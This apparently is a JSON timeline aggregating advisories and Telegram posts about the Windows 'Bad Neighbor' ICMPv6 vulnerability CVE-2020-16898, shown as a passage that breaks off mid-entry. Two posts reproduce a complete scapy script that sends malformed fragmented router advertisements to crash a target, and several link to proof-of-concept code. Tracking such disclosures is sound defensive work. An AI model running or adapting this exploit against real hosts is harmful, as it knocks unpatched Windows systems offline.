{"metadata": {"vulnerability": "cve-2020-16898", "count": 76, "kinds": {"milestone": 7, "sighting": 53, "kev": 0, "other": 16}}, "data": [{"timestamp": "2020-08-04T00:00:00Z", "date_only": false, "value": "2020-08-04T00:00:00.000Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "cve-2020-16898", "field": "cveMetadata.dateReserved"}, {"timestamp": "2020-10-13T07:00:00Z", "date_only": false, "value": "2020-10-13T07:00:00.000Z", "kind": "other", "label": "Made public", "source": "cvelistv5 / microsoft", "record": "cve-2020-16898", "field": "containers.cna.datePublic"}, {"timestamp": "2020-10-13T19:52:54Z", "date_only": false, "value": "2020-10-13T19:52:54.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/cKure/2526", "record": "CVE-2020-16898", "field": "creation_timestamp", "uuid": "dd0229dc-f6f0-47ea-8eb5-aacde79521d4", "content": "\u25a0\u25a0\u25a0\u25a0\u25a1 CVE-2020-16898: \u201cBad Neighbor\u201d\n\nhttps://www.mcafee.com/blogs/other-blogs/mcafee-labs/cve-2020-16898-bad-neighbor", "url": "https://t.me/cKure/2526"}, {"timestamp": "2020-10-13T20:01:44Z", "date_only": false, "value": "2020-10-13T20:01:44.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/cKure/2527", "record": "CVE-2020-16898", "field": "creation_timestamp", "uuid": "08f8d492-f4f6-4d6c-81dd-b2ed392282ab", "content": "\u25a0\u25a0\u25a1\u25a1\u25a1 CVE-2020-16898: \u201cBad Neighbor\u201d\n\nhttps://www.advanced-intel.com/post/front-door-into-bazarbackdoor-stealthy-cybercrime-weapon", "url": "https://t.me/cKure/2527"}, {"timestamp": "2020-10-13T20:25:40Z", "date_only": false, "value": "2020-10-13T20:25:40.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cepter/58", "record": "CVE-2020-16898", "field": "creation_timestamp", "uuid": "fdcc9bfd-120a-4dd5-b8e9-59ba01d2b194", "content": "\u041d\u0443 \u0432\u043e\u0442, \u0442\u043e\u043b\u044c\u043a\u043e \u0432\u0447\u0435\u0440\u0430 \u0432\u044b\u0448\u0435\u043b \u0432\u044b\u043f\u0443\u0441\u043a \u043f\u0440\u043e ICMP, \u0430 \u0441\u0435\u0433\u043e\u0434\u043d\u044f Windows TCP/IP RCE \u0447\u0435\u0440\u0435\u0437 ICMPv6.\nhttps://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16898", "url": "https://t.me/cepter/58"}, {"timestamp": "2020-10-14T00:00:00Z", "date_only": false, "value": "2020-10-14T00:00:00", "kind": "other", "label": "Last revision date", "source": "certfr_avis \u00b7 CERTFR-2020-AVI-634", "record": "CERTFR-2020-AVI-634", "field": "last_revision_date"}, {"timestamp": "2020-10-14T00:00:00Z", "date_only": false, "value": "2020-10-14T00:00:00", "kind": "milestone", "label": "Published", "source": "certfr_avis \u00b7 CERTFR-2020-AVI-634", "record": "CERTFR-2020-AVI-634", "field": "initial_release_date"}, {"timestamp": "2020-10-14T00:00:00Z", "date_only": false, "value": "2020-10-14T00:00:00.000000", "kind": "other", "label": "Revision date", "source": "certfr_avis \u00b7 CERTFR-2020-AVI-634", "record": "CERTFR-2020-AVI-634", "field": "revisions.0.revision_date"}, {"timestamp": "2020-10-14T04:00:00Z", "date_only": false, "value": "2020-10-14T04:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=516", "record": "CVE-2020-16898", "field": "creation_timestamp", "uuid": "8fd23b5c-6ae4-4b74-b837-70920c1e70dd", "url": "https://www.govcert.gov.hk/en/alerts_detail.php?id=516"}, {"timestamp": "2020-10-14T10:41:04Z", "date_only": false, "value": "2020-10-14T10:41:04.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/true_secator/1043", "record": "CVE-2020-16898", "field": "creation_timestamp", "uuid": "5d519354-b9a3-438e-8f09-1433646e32d3", "content": "\u0412\u0447\u0435\u0440\u0430 Microsoft \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u043e\u043a\u0442\u044f\u0431\u0440\u044c\u0441\u043a\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432.\n\n\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b 87 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 12 - \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u044b\u0435. \u0421\u0440\u0435\u0434\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u044b\u0445 - \u043e\u0448\u0438\u0431\u043a\u0438 \u0432 \u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445 Windows, Outlook, SharePoint \u0438 \u0434\u0440., \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0445 \u0445\u0430\u043a\u0435\u0440\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 (RCE). \n\n\u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u043d\u0435\u043f\u0440\u0438\u044f\u0442\u043d\u0430\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2020-16898 - \u0432 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0441\u0442\u0435\u043a\u0430 TCP/IP, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0438\u0442\u044c RCE \u043d\u0430\u043f\u0440\u0430\u0432\u0438\u0432 \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u0443\u044e \u043c\u0430\u0448\u0438\u043d\u0443 \u043f\u043e\u0434 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c Windows \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u0430\u043a\u0435\u0442 IPv6 Router Advertisement.\n\n\u041a\u0430\u043a \u0432\u0441\u0435\u0433\u0434\u0430, \u0432\u0441\u0435\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u043c \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0431\u044b\u0441\u0442\u0440\u0435\u0435 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f, \u0441 RCE, \u0441\u0430\u043c\u0438 \u043f\u043e\u043d\u0438\u043c\u0430\u0435\u0442\u0435, \u043d\u0435 \u0448\u0443\u0442\u044f\u0442.", "url": "https://t.me/true_secator/1043"}, {"timestamp": "2020-10-14T15:08:29Z", "date_only": false, "value": "2020-10-14T15:08:29.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/BleepingComputer/8324", "record": "CVE-2020-16898", "field": "creation_timestamp", "uuid": "ff57166e-83f7-4537-97a8-c761a6a57878", "content": "US Cyber Command: Patch Windows 'Bad Neighbor' TCP/IP bug now\n\nUS Cyber Command warns Microsoft customers to patch their systems immediately against the critical and remotely exploitable CVE-2020-16898 vulnerability addressed during this month's Patch Tuesday. [...]\n\nhttps://www.bleepingcomputer.com/news/security/us-cyber-command-patch-windows-bad-neighbor-tcp-ip-bug-now/", "url": "https://t.me/BleepingComputer/8324"}, {"timestamp": "2020-10-14T21:29:11Z", "date_only": false, "value": "2020-10-14T21:29:11.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/DC8044_Info/951", "record": "CVE-2020-16898", "field": "creation_timestamp", "uuid": "0c9f4981-96b7-45f7-969e-8b924fbf8fd5", "content": "https://github.com/advanced-threat-research/CVE-2020-16898\nhttps://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16898", "url": "https://t.me/DC8044_Info/951"}, {"timestamp": "2020-10-15T06:12:11Z", "date_only": false, "value": "2020-10-15T06:12:11.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/ics_cert/351", "record": "CVE-2020-16898", "field": "creation_timestamp", "uuid": "5b224c4f-c623-4dee-8c2f-d1fbe4903c9c", "content": "\u0633\u0644\u0627\u0645 \u0628\u0647 \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 \u0648\u06cc\u0646\u062f\u0648\u0632\u060c \u06cc\u06a9 \u0648\u0635\u0644\u0647 \u062c\u062f\u06cc\u062f \u0648 \u0645\u0647\u0645 \u062f\u0631 \u062f\u0633\u062a\u0631\u0633 \u0627\u0633\u062a. \u0644\u0637\u0641\u0627 \u0628\u0631\u0627\u06cc \u0628\u0647 \u0631\u0648\u0632 \u0631\u0633\u0627\u0646\u06cc \u0633\u06cc\u0633\u062a\u0645 \u0639\u0627\u0645\u0644 \u062e\u0648\u062f \u062f\u0631 \u0627\u0633\u0631\u0639 \u0648\u0642\u062a \u0627\u0637\u0645\u06cc\u0646\u0627\u0646 \u062d\u0627\u0635\u0644 \u06a9\u0646\u06cc\u062f  \n\u0644\u06cc\u0646\u06a9 \u067e\u0686:.\n\nYou can find more info here: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16898\n\n\ud83e\udd81\u00ab\u06a9\u062a\u0627\u0633\u00bb\n\u200fhttp://t.me/ict_security", "url": "https://t.me/ics_cert/351"}, {"timestamp": "2020-10-15T08:10:02Z", "date_only": false, "value": "2020-10-15T08:10:02.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/SecLabNews/9070", "record": "CVE-2020-16898", "field": "creation_timestamp", "uuid": "fed787cc-b596-4af0-b5e8-e19c0138a3c9", "content": "\u041a\u0438\u0431\u0435\u0440\u043d\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u0421\u0428\u0410 \u043f\u0440\u0438\u0437\u0432\u0430\u043b\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Microsoft \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0435\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2020-16898. \u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u044b\u043b\u043e \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u043e   \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u0433\u043e \u00ab\u0432\u0442\u043e\u0440\u043d\u0438\u043a\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439\u00bb 13 \u043e\u043a\u0442\u044f\u0431\u0440\u044f 2020 \u0433\u043e\u0434\u0430.     \n\u0414\u043b\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Windows 10 \u0441\u043e\u0437\u0434\u0430\u043d\u044b PoC-\u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u044b", "url": "https://t.me/SecLabNews/9070"}, {"timestamp": "2020-10-16T16:15:03Z", "date_only": false, "value": "2020-10-16T16:15:03.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/SecLabNews/9092", "record": "CVE-2020-16898", "field": "creation_timestamp", "uuid": "1759b266-450c-413a-90ff-1c93e420a566", "content": "\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Microsoft \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043f\u043b\u0430\u043d\u043e\u0432\u044b\u0435 \u0435\u0436\u0435\u043c\u0435\u0441\u044f\u0447\u043d\u044b\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0435 \u0432 \u043e\u0431\u0449\u0435\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 87 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u0421\u0430\u043c\u043e\u0439 \u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043e\u0439 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0432 \u0441\u0442\u0435\u043a\u0435 Windows TCP/IP (CVE-2020-16898). \u0415\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 Windows \u043f\u0443\u0442\u0435\u043c \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 ICMPv6 Router Advertisement \u0447\u0435\u0440\u0435\u0437 \u0441\u0435\u0442\u0435\u0432\u043e\u0435 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435.     \n\u041e\u0431\u0437\u043e\u0440 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0437\u0430 \u043d\u0435\u0434\u0435\u043b\u044e: 16 \u043e\u043a\u0442\u044f\u0431\u0440\u044f 2020 \u0433\u043e\u0434\u0430", "url": "https://t.me/SecLabNews/9092"}, {"timestamp": "2020-10-16T20:10:37Z", "date_only": false, "value": "2020-10-16T20:10:37.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/N0iSeBit/507", "record": "CVE-2020-16898", "field": "creation_timestamp", "uuid": "bcb03112-a3e6-4f61-a801-75fb2d5b32b8", "content": "CVE-2020-16898 \u2013 Exploiting RCE \"Bad Neighbor\" vulnerability\n\nhttps://blog.quarkslab.com/beware-the-bad-neighbor-analysis-and-poc-of-the-windows-ipv6-router-advertisement-vulnerability-cve-2020-16898.html\n\nhttp://blog.pi3.com.pl/?p=780\n\nBSOD exploit for CVE-2020-16898 - Windows TCP/IP Remote Code Execution Vulnerability\n\nfrom scapy.all import *\n\nv6_dst = \"fd12:db80:b052:0:7ca6:e06e:acc1:481b\"\nv6_src = \"fe80::24f5:a2ff:fe30:8890\"\n\np_test_half = 'A'.encode()*8 + b\"\\x18\\x30\" + b\"\\xFF\\x18\"\np_test = p_test_half + 'A'.encode()*4\n\nc = ICMPv6NDOptEFA();\n\ne = ICMPv6NDOptRDNSS()\ne.len = 21\ne.dns = [\n\"AAAA:AAAA:AAAA:AAAA:FFFF:AAAA:AAAA:AAAA\",\n\"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA\",\n\"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA\",\n\"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA\",\n\"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA\",\n\"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA\",\n\"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA\",\n\"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA\",\n\"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA\",\n\"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA\" ]\n\npkt = ICMPv6ND_RA() / ICMPv6NDOptRDNSS(len=8) / \\\n      Raw(load='A'.encode()*16*2 + p_test_half + b\"\\x18\\xa0\"*6) / c / e / c / e / c / e / c / e / c / e / e / e / e / e / e / e\n\np_test_frag = IPv6(dst=v6_dst, src=v6_src, hlim=255)/ \\\n              IPv6ExtHdrFragment()/pkt\n\nl=fragment6(p_test_frag, 200)\n\nfor p in l:\n    send(p)", "url": "https://t.me/N0iSeBit/507"}, {"timestamp": "2020-10-16T22:17:40Z", "date_only": false, "value": "2020-10-16T22:17:40.000Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "cve-2020-16898", "field": "cveMetadata.datePublished"}, {"timestamp": "2020-10-16T23:15:00Z", "date_only": false, "value": "2020-10-16T23:15:00Z", "kind": "other", "label": "Nvd published at", "source": "github \u00b7 GHSA-8VRV-2FM5-WPVR", "record": "GHSA-8VRV-2FM5-WPVR", "field": "database_specific.nvd_published_at"}, {"timestamp": "2020-10-16T23:15:13.633Z", "date_only": false, "value": "2020-10-16T23:15:13.633", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2020-16898", "record": "FKIE_CVE-2020-16898", "field": "published"}, {"timestamp": "2020-10-16T23:15:13.633Z", "date_only": false, "value": "2020-10-16T23:15:13.633", "kind": "milestone", "label": "Published", "source": "gsd \u00b7 GSD-2020-16898", "record": "GSD-2020-16898", "field": "namespaces.nvd.nist.gov.cve.published"}, {"timestamp": "2020-10-24T01:19:37Z", "date_only": false, "value": "2020-10-24T01:19:37.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/SHATOOB/2896", "record": "CVE-2020-16898", "field": "creation_timestamp", "uuid": "ce093816-0b4f-417e-bc2f-7df9ee3627fe", "content": "\ud83c\udd94 @SHATOOB\n\n#WindowsUpdate\n#Windows_TCP/IP_Remote_Code_Execution_Vulnerability\n#Bad_Neighbor \u060c CVE-2020-16898\n\n\ud83d\udd3a\u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u062e\u0637\u0631\u0646\u0627\u06a9 CVE-2020-16898 \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a ( Bad Neighbor )\n\n\ud83c\udf10 https://thehackernews.com/2020/10/windows-tcp-ip-patch-tuesday.html\n\n\ud83d\udd39 \u0628\u0631\u0648\u0632 \u0631\u0633\u0627\u0646\u06cc \u0627\u0645\u0646\u06cc\u062a\u06cc \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u062f\u0631 \u0648\u06cc\u0646\u062f\u0648\u0632 10 \u0648 \u0648\u06cc\u0646\u062f\u0648\u0632 \u0633\u0631\u0648\u0631 2019\n\n\ud83c\udf10 https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16898\n\n\ud83d\udd3b\u0631\u0627\u0647 \u062d\u0644 :\n\n\u0628\u0631\u0627\u06cc \u062c\u0644\u0648\u06af\u06cc\u0631\u06cc \u0627\u0632 \u0633\u0648 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u0647\u0627\u062c\u0645\u06cc\u0646 \u0627\u0632 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u060c \u0645\u06cc \u062a\u0648\u0627\u0646\u06cc\u062f ICMPv6 Recursive DNS Server (RDNSS) \u0631\u0627 \u063a\u06cc\u0631\u0641\u0639\u0627\u0644 \u06a9\u0646\u06cc\u062f \u060c \u0627\u06cc\u0646 \u0631\u0627\u0647 \u062d\u0644 \u0641\u0642\u0637 \u0628\u0631\u0627\u06cc \u0648\u06cc\u0646\u062f\u0648\u0632 1709 \u0628\u0647 \u0628\u0627\u0644\u0627 \u062f\u0631 \u062f\u0633\u062a\u0631\u0633 \u0627\u0633\u062a . \n\n \ud83d\udd39\u062f\u0633\u062a\u0648\u0631 \u0632\u06cc\u0631 \u062f\u0631 PowerShell \u0648\u0627\u0631\u062f \u0646\u0645\u0627\u06cc\u06cc\u062f .\n\nnetsh int ipv6 set int *INTERFACENUMBER* rabaseddnsconfig=disable\n\n\ud83d\udd3b\u062a\u0648\u062c\u0647 : \u067e\u0633 \u0627\u0632 \u0627\u0646\u062c\u0627\u0645 \u062a\u063a\u06cc\u06cc\u0631 \u0646\u06cc\u0627\u0632\u06cc \u0628\u0647 \u0631\u0627\u0647 \u0627\u0646\u062f\u0627\u0632\u06cc \u0645\u062c\u062f\u062f \u0646\u06cc\u0633\u062a .\n\n\ud83d\udd39\u067e\u0633 \u0627\u0632 \u0646\u0635\u0628 \u067e\u0686 ICMPv6 \u060c \u0645\u06cc \u062a\u0648\u0627\u0646 RDNSS \u0631\u0627 \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u062f\u0633\u062a\u0648\u0631 PowerShell \u062f\u0648\u0628\u0627\u0631\u0647 \u0641\u0639\u0627\u0644 \u06a9\u0631\u062f (\u0646\u06cc\u0627\u0632\u06cc \u0628\u0647 \u0631\u0627\u0647 \u0627\u0646\u062f\u0627\u0632\u06cc \u0645\u062c\u062f\u062f \u0646\u06cc\u0633\u062a) .\n\nnetsh int ipv6 set int *INTERFACENUMBER* rabaseddnsconfig=enable\n\n\u269c\ufe0f\u269c\ufe0f  \u0634\u0627\u062a\u0648\u0628 \u062f\u0631\u06cc\u0686\u0647 \u0627\u06cc \u0628\u0647 \u062f\u0646\u06cc\u0627\u06cc \u0631\u0627\u06cc\u0627\u0646\u0647 \u269c\ufe0f\u269c\ufe0f\n\n\ud83c\udd94 @SHATOOB", "url": "https://t.me/SHATOOB/2896"}, {"timestamp": "2020-10-27T03:51:47Z", "date_only": false, "value": "2020-10-27T03:51:47.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/binary_xor/446", "record": "CVE-2020-16898", "field": "creation_timestamp", "uuid": "41987148-5dcf-4477-8dbe-a8adf0ab576a", "content": "CVE-2020-16898 \u2013 Exploiting RCE \"Bad Neighbor\" vulnerability\n\nhttps://blog.quarkslab.com/beware-the-bad-neighbor-analysis-and-poc-of-the-windows-ipv6-router-advertisement-vulnerability-cve-2020-16898.html\n\nhttp://blog.pi3.com.pl/?p=780\n\nBSOD exploit for CVE-2020-16898 - Windows TCP/IP Remote Code Execution Vulnerability\n\nfrom scapy.all import *\n\nv6_dst = \"fd12:db80:b052:0:7ca6:e06e:acc1:481b\"\nv6_src = \"fe80::24f5:a2ff:fe30:8890\"\n\np_test_half = 'A'.encode()*8 + b\"\\x18\\x30\" + b\"\\xFF\\x18\"\np_test = p_test_half + 'A'.encode()*4\n\nc = ICMPv6NDOptEFA();\n\ne = ICMPv6NDOptRDNSS()\ne.len = 21\ne.dns = [\n\"AAAA:AAAA:AAAA:AAAA:FFFF:AAAA:AAAA:AAAA\",\n\"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA\",\n\"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA\",\n\"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA\",\n\"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA\",\n\"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA\",\n\"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA\",\n\"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA\",\n\"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA\",\n\"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA\" ]\n\npkt = ICMPv6ND_RA() / ICMPv6NDOptRDNSS(len=8) / \\\n      Raw(load='A'.encode()*16*2 + p_test_half + b\"\\x18\\xa0\"*6) / c / e / c / e / c / e / c / e / c / e / e / e / e / e / e / e\n\np_test_frag = IPv6(dst=v6_dst, src=v6_src, hlim=255)/ \\\n              IPv6ExtHdrFragment()/pkt\n\nl=fragment6(p_test_frag, 200)\n\nfor p in l:\n    send(p)", "url": "https://t.me/binary_xor/446"}, {"timestamp": "2020-10-29T11:00:00Z", "date_only": false, "value": "2020-10-29T11:00:00.000Z", "kind": "other", "label": "Advisory revision", "source": "csaf_sick \u00b7 SCA-2020-0005", "record": "SCA-2020-0005", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2020-10-29T11:00:00Z", "date_only": false, "value": "2020-10-29T11:00:00.000Z", "kind": "milestone", "label": "Published", "source": "csaf_sick \u00b7 SCA-2020-0005", "record": "SCA-2020-0005", "field": "document.tracking.initial_release_date"}, {"timestamp": "2020-10-29T11:00:00Z", "date_only": false, "value": "2020-10-29T11:00:00.000Z", "kind": "other", "label": "Updated", "source": "csaf_sick \u00b7 SCA-2020-0005", "record": "SCA-2020-0005", "field": "document.tracking.current_release_date"}, {"timestamp": "2020-12-31T19:23:35Z", "date_only": false, "value": "2020-12-31T19:23:35.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CyberSecurityTechnologies/1912", "record": "CVE-2020-16898", "field": "creation_timestamp", "uuid": "3763b46f-7f39-4bd7-ae1a-dd37f779a44b", "content": "#Threat_Research\n\"Bad Neighbor\" - A remote code execution vulnerability in\u202fthe\u202fWindows TCP/IP\u00a0stack (CVE-2020-16898)\nhttps://www.mcafee.com/blogs/other-blogs/mcafee-labs/cve-2020-16898-bad-neighbor\nMicrosoft Windows TCP/IP Vulnerability Detection Logic and Rule:\nhttps://github.com/advanced-threat-research/CVE-2020-16898\nPoC Exploit:\nhttp://site.pi3.com.pl/exp/p_CVE-2020-16898.py", "url": "https://t.me/CyberSecurityTechnologies/1912"}, {"timestamp": "2021-08-11T18:46:50Z", "date_only": false, "value": "2021-08-11T18:46:50.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/true_secator/1993", "record": "CVE-2020-16898", "field": "creation_timestamp", "uuid": "805abb57-1a03-41e3-8d09-35c09924e7a3", "content": "\u200b\u200b\u00ab\u0418\u043c\u043f\u0435\u0440\u0438\u044f \u043d\u0430\u043d\u043e\u0441\u0438\u0442 \u043e\u0442\u0432\u0435\u0442\u043d\u044b\u0439 \u0443\u0434\u0430\u0440\u00bb - \u0442\u0430\u043a \u043c\u044b \u043e\u0431\u043e\u0437\u043d\u0430\u0447\u0438\u043c, \u043f\u043e\u0436\u0430\u043b\u0443\u0439, \u044d\u043f\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043f\u0430\u0442\u0447 \u043e\u0442 Microsoft, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0432 \u043e\u0431\u0449\u0435\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 44 CVE, \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 7 - \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435, 3 - zeroday, 37 - \u0432\u0430\u0436\u043d\u044b\u0435, 13 - \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430, 8 - \u043a\u0430\u0441\u0430\u044e\u0442\u0441\u044f \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u0430 \u0433\u043b\u0430\u0432\u043d\u043e\u0435 - \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u043a\u0430\u043a \u0431\u044b \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f PrintNightmare \u0438 PetitPotam.\n\n\u0412 \u043e\u0431\u0449\u0435\u043c, \u0431\u0430\u0433\u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b \u0432 NET Core, Visual Studio, 